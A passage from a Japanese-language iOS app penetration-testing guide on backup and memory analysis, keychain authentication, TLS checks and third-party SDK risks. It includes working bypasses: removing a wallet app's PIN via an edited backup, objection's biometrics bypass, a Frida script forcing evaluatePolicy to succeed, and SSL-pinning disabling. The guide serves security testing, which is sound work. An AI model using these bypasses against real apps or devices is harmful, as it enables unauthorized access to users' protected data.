で特定のファイルやディレクトリをバックアップから除外できます。この実践は、機密データがバックアップに含まれないように保護するために重要です。
脆弱性のテスト
アプリのバックアップセキュリティを評価するには、まずFinderを使用してバックアップを作成し、次にAppleの公式ドキュメントのガイダンスに従ってそれを見つけます。バックアップを分析して、アプリの動作に影響を与える可能性のある機密データや設定を探します。
機密情報は、コマンドラインツールや iMazingのようなアプリケーションを使用して探すことができます。暗号化されたバックアップの場合、バックアップのルートにある"Manifest.plist"ファイルの"IsEncrypted"キーを確認することで、暗号化の存在を確認できます。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>
暗号化されたバックアップを扱うために、DinoSecのGitHubリポジトリにあるPythonスクリプト、例えばbackup_tool.pyやbackup_passwd.pyが役立つかもしれませんが、最新のiTunes/Finderバージョンとの互換性のために調整が必要な場合があります。iOSbackupツールは、パスワード保護されたバックアップ内のファイルにアクセスするための別のオプションです。
アプリの動作の変更
バックアップの変更を通じてアプリの動作を変更する例は、Bitherビットコインウォレットアプリで示されており、UIロックPINはpin_codeキーの下にnet.bither.plist
に保存されています。このキーをplistから削除し、バックアップを復元することで、PINの要求が解除され、制限のないアクセスが提供されます。
機密データのメモリテストに関する概要
アプリケーションのメモリに保存された機密情報を扱う際は、このデータの露出時間を制限することが重要です。メモリ内容を調査するための主なアプローチは2つあります:メモリダンプの作成とリアルタイムでのメモリ分析です。どちらの方法にも課題があり、ダンププロセスや分析中に重要なデータを見逃す可能性があります。
メモリダンプの取得と分析
脱獄デバイスと非脱獄デバイスの両方に対して、objectionやFridumpのようなツールを使用して、アプリのプロセスメモリをダンプすることができます。一度ダンプされたデータを分析するには、探している情報の性質に応じてさまざまなツールが必要です。
メモリダンプから文字列を抽出するには、strings
やrabin2 -zz
のようなコマンドを使用できます:
# Extracting strings using strings command
$ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
より詳細な分析、特定のデータタイプやパターンの検索を含む、radare2 は広範な検索機能を提供します:
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...
ランタイムメモリアナリシス
r2frida は、メモリダンプを必要とせずにアプリのメモリをリアルタイムで検査するための強力な代替手段を提供します。このツールは、実行中のアプリケーションのメモリ上で直接検索コマンドを実行することを可能にします:
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
Broken Cryptography
Poor Key Management Processes
一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは行うべきではなく、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があります。
Use of Insecure and/or Deprecated Algorithms
開発者は、認証チェック、データの保存または送信を行うために非推奨のアルゴリズムを使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するためにハッシュを使用する場合、ソルトを使用したハッシュのブルートフォース耐性が必要です。
Check
主なチェックは、コード内にハードコーディングされたパスワード/秘密があるか、またはそれらが予測可能であるか、コードが何らかの弱い****暗号化アルゴリズムを使用しているかを確認することです。
いくつかの暗号ライブラリを自動的に監視できることを知っておくと興味深いです。objectionを使用して:
ios monitor crypt
For more information about iOS cryptographic APIs and libraries access https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography
ローカル認証
ローカル認証は、特に暗号化手法を通じてリモートエンドポイントへのアクセスを保護する際に重要な役割を果たします。ここでの本質は、適切に実装されていない場合、ローカル認証メカニズムは回避される可能性があるということです。
Appleのローカル認証フレームワークとキーチェーンは、ユーザー認証ダイアログを促進し、秘密データを安全に処理するための堅牢なAPIを開発者に提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。
Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢があります:
LocalAuthentication.framework
:生体データへのアクセスなしで高レベルのユーザー認証を行います。Security.framework
:生体認証で秘密データを保護するための低レベルのキーチェーンサービスへのアクセスを提供します。さまざまなオープンソースラッパーがキーチェーンアクセスを簡素化します。
{% hint style="danger" %}
ただし、LocalAuthentication.framework
とSecurity.framework
の両方には脆弱性があり、主に認証プロセスのためのデータを送信せずにブール値を返すため、回避される可能性があります(参照:Don't touch me that way, by David Lindner et al)。
{% endhint %}
ローカル認証の実装
ユーザーに認証を促すために、開発者は**LAContext
クラス内のevaluatePolicy
**メソッドを利用し、次のいずれかを選択します:
deviceOwnerAuthentication
:Touch IDまたはデバイスのパスコードを要求し、どちらも有効でない場合は失敗します。deviceOwnerAuthenticationWithBiometrics
:Touch IDのみを要求します。
成功した認証は、**evaluatePolicy
**からのブール値の返り値によって示され、潜在的なセキュリティの欠陥を強調します。
キーチェーンを使用したローカル認証
iOSアプリでローカル認証を実装するには、キーチェーンAPIを使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーのみがアクセスでき、デバイスのパスコードまたはTouch IDのような生体認証を使用します。
キーチェーンは、SecAccessControl
属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードで成功裏に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。
以下は、SwiftとObjective-Cでのコード例で、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示しています。例は、Touch ID認証を要求するためのアクセス制御を設定し、データが設定されたデバイスでのみアクセス可能であることを保証する方法を具体的に示しています。
{% tabs %} {% tab title="Swift" %}
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
// 1. create AccessControl object that will represent authentication settings
var error: Unmanaged<CFError>?
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object
return
}
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
var query: [String: Any] = [:]
query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl
// 3. save item
let status = SecItemAdd(query as CFDictionary, nil)
if status == noErr {
// successfully saved
} else {
// error while saving
}
{% endtab %}
{% tab title="Objective-C" %}オブジェクティブ-C{% endtab %}
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};
// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
if (status == noErr) {
// successfully saved
} else {
// error while saving
}
{% endtab %} {% endtabs %}
今、キーチェーンから保存されたアイテムをリクエストできます。キーチェーンサービスはユーザーに認証ダイアログを表示し、適切な指紋が提供されたかどうかに応じてデータまたはnilを返します。
{% tabs %} {% tab title="Swift" %}
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}
if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
{% endtab %}
{% tab title="Objective-C" %}オブジェクティブ-C{% endtab %}
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}
{% endtab %} {% endtabs %}
検出
アプリ内でのフレームワークの使用は、アプリバイナリの共有ダイナミックライブラリのリストを分析することで検出できます。これは otool
を使用して行うことができます:
$ otool -L <AppName>.app/<AppName>
もしLocalAuthentication.framework
がアプリで使用されている場合、出力には以下の2行が含まれます(LocalAuthentication.framework
は内部でSecurity.framework
を使用していることを忘れないでください):
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
もしSecurity.framework
が使用されている場合、2番目のものだけが表示されます。
ローカル認証フレームワークバイパス
Objection
Objection Biometrics Bypassを通じて、このGitHubページにある技術を使用してLocalAuthenticationメカニズムを克服することができます。このアプローチの核心は、Fridaを利用してevaluatePolicy
関数を操作し、実際の認証成功に関係なく常にTrue
の結果を返すようにすることです。これは、欠陥のある生体認証プロセスを回避するのに特に便利です。
このバイパスを有効にするには、次のコマンドが使用されます:
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
このコマンドは、ObjectionがevaluatePolicy
チェックの結果をTrue
に効果的に変更するタスクを登録するシーケンスを開始します。
Frida
DVIA-v2アプリケーションからの**evaluatePolicy
**の使用例:
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
ローカル認証のbypassを達成するために、Fridaスクリプトが作成されました。このスクリプトはevaluatePolicyチェックを対象とし、そのコールバックを傍受してsuccess=1を返すようにします。コールバックの動作を変更することで、認証チェックは効果的にバイパスされます。
以下のスクリプトは、evaluatePolicyメソッドの結果を変更するために注入されます。コールバックの結果を常に成功を示すように変更します。
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
バイオメトリック認証をバイパスし、Fridaスクリプトを注入するために、以下のコマンドが使用されます:
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
センシティブな機能の露出を通じたIPC
カスタムURIハンドラー / ディープリンク / カスタムスキーム
{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} ios-custom-uri-handlers-deeplinks-custom-schemes.md {% endcontent-ref %}
ユニバーサルリンク
{% content-ref url="ios-universal-links.md" %} ios-universal-links.md {% endcontent-ref %}
UIActivity共有
{% content-ref url="ios-uiactivity-sharing.md" %} ios-uiactivity-sharing.md {% endcontent-ref %}
UIPasteboard
{% content-ref url="ios-uipasteboard.md" %} ios-uipasteboard.md {% endcontent-ref %}
アプリ拡張
{% content-ref url="ios-app-extensions.md" %} ios-app-extensions.md {% endcontent-ref %}
WebViews
{% content-ref url="ios-webviews.md" %} ios-webviews.md {% endcontent-ref %}
シリアライゼーションとエンコーディング
{% content-ref url="ios-serialisation-and-encoding.md" %} ios-serialisation-and-encoding.md {% endcontent-ref %}
ネットワーク通信
暗号化なしで通信が行われていないか、またアプリケーションがサーバーのTLS証明書を正しく検証しているかを確認することが重要です。
これらの問題を確認するために、Burpのようなプロキシを使用できます:
{% content-ref url="burp-configuration-for-ios.md" %} burp-configuration-for-ios.md {% endcontent-ref %}
ホスト名チェック
TLS証明書を検証する際の一般的な問題は、証明書が信頼された CAによって署名されているかを確認することですが、証明書のホスト名がアクセスされているホスト名であるかを確認しないことです。
この問題をBurpを使用して確認するためには、iPhoneでBurp CAを信頼した後、異なるホスト名のためにBurpで新しい証明書を作成し、それを使用します。アプリケーションがまだ動作する場合、何かが脆弱です。
証明書ピンニング
アプリケーションがSSLピンニングを正しく使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際に、Burpは独自の証明書を提供するため、これが問題になることがあります。
脱獄したデバイス内でこの保護を回避するために、SSL Kill Switchをインストールするか、Burp Mobile Assistantをインストールできます。
また、objectionの ios sslpinning disable
を使用することもできます。
その他
- **
/System/Library
**には、システムアプリケーションによって使用されるフレームワークがインストールされています。 - App Storeからユーザーがインストールしたアプリケーションは、**
/User/Applications
**内にあります。 - **
/User/Library
**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。 - **
/User/Library/Notes/notes.sqlite
**にアクセスして、アプリケーション内に保存されたノートを読むことができます。 - インストールされたアプリケーションのフォルダ内(
/User/Applications/<APP ID>/
)には、いくつかの興味深いファイルがあります: iTunesArtwork
:アプリによって使用されるアイコンiTunesMetadata.plist
:App Storeで使用されるアプリの情報/Library/*
:設定とキャッシュが含まれています。**/Library/Cache/Snapshots/*
**には、アプリケーションをバックグラウンドに送信する前に行われたスナップショットが含まれています。
ホットパッチ/強制更新
開発者は、アプリをApp Storeに再提出して承認を待つことなく、アプリのすべてのインストールを即座にパッチできます。
この目的のために通常はJSPatch**が使用されます。**しかし、Sirenやreact-native-appstore-version-checkerなどの他のオプションもあります。
**これは悪意のあるサードパーティSDKによって悪用される可能性のある危険なメカニズムであるため、自動更新に使用される方法(もしあれば)を確認し、テストすることをお勧めします。**この目的のためにアプリの以前のバージョンをダウンロードしてみることができます。
サードパーティ
3rdパーティSDKに関する重要な課題は、その機能に対する詳細な制御の欠如です。開発者は、SDKを統合してそのすべての機能を受け入れるか、潜在的なセキュリティ脆弱性やプライバシーの懸念を含めて、またはその利点を完全に放棄するかの選択を迫られます。多くの場合、開発者はこれらのSDK内の脆弱性を自分でパッチすることができません。さらに、SDKがコミュニティ内で信頼を得るにつれて、一部はマルウェアを含む可能性があります。
サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告の表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者がこれらのライブラリによって実行されるコードを完全に把握していない可能性があるため、プライバシーとセキュリティのリスクが生じます。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。
サードパーティサービスの実装は通常、スタンドアロンライブラリまたは完全なSDKの2つの形態で行われます。ユーザーのプライバシーを保護するために、これらのサービスと共有されるデータは、個人を特定できる情報(PII)の開示を防ぐために匿名化されるべきです。
アプリケーションが使用するライブラリを特定するために、**otool
**コマンドを使用できます。このツールは、アプリケーションとそれが使用する各共有ライブラリに対して実行され、追加のライブラリを発見します。
otool -L <application_path>
参考文献とその他のリソース
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering
- iOS & モバイルアプリのペンテスト - INE
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/
- https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage
- https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060
- https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064
- https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054
- https://github.com/ivRodriguezCA/RE-iOS-Apps/ iOS 無料コース(https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)
- https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577
- https://www.slideshare.net/RyanISI/ios-appsecurityminicourse
- https://github.com/prateek147/DVIA
- https://github.com/prateek147/DVIA-v2
- https://github.com/OWASP/MSTG-Hacking-Playground%20
- OWASP iGoat https://github.com/OWASP/igoat <<< Objective-C バージョン https://github.com/OWASP/iGoat-Swift <<< Swift バージョン
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/nabla-c0d3/ssl-kill-switch2
Trickestを使用して、世界で最も高度なコミュニティツールによって駆動されるワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングのトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。